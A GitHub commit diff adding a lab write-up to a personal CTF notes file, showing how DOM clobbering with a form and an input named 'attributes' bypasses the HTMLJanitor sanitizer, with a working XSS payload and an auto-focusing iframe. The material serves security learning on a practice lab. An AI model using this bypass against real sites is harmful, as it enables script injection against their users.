Skip to content

Commit

Permalink
add Dom clob 2
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed Dec 7, 2022
1 parent c2c9c6d commit e9c57ef
Showing 1 changed file with 44 additions and 0 deletions.
44 changes: 44 additions & 0 deletions docs/web/ctf/web_academy.md
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,50 @@ HTMLCollection(2) [a#defaultAvatar, a#defaultAvatar, defaultAvatar: a#defaultAv

The `defaultAvatar` is successfully injected and the XSS is working!

### DOM clobbering to bypass HTMLJanitor

> Lab: [Clobbering DOM attributes to bypass HTML filters](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
Snippet of the vulnerable code:

```js
// Sanitize attributes
for (var a = 0; a < node.attributes.length; a += 1) {
var attr = node.attributes[a];

if (shouldRejectAttr(attr, allowedAttrs, node)) {
node.removeAttribute(attr.name);
// Shift the array to continue looping.
a = a - 1;
}
}
```

You can use a `form` HTML element to inject the `attributes` attribute of any variables (in our example: `node`).

```html
<form id="anchor" tabindex="0" onfocus="print()">
<input id="attributes">
</form>

<!-- Use an iframe to auto trigger the XSS: -->
<iframe src=https://0adf000f0387fa22c0ae1d2a00da005b.web-security-academy.net/post?postId=10
onload="setTimeout(()=>this.src=this.src + '#anchor',500)">
```

As you can see, the `node.attributes` is equals to the `input` element and the `node.attributes.length` variable is equals to `undefined` :

```html
> node
<form id="anchor" tabindex="0" onfocus="print()​">​...​</form>​
> node.attributes
<input id="attributes">​
> node.attributes.length
undefined
```

This bypass the `HTMLJanitor` filter and trigger the XSS thanks to the `onfocus` event and the `iframe` that focus the anchor.

## Insecure deserialization

### Custom gadget chain for Java deserialization
Expand Down

0 comments on commit e9c57ef

Please sign in to comment.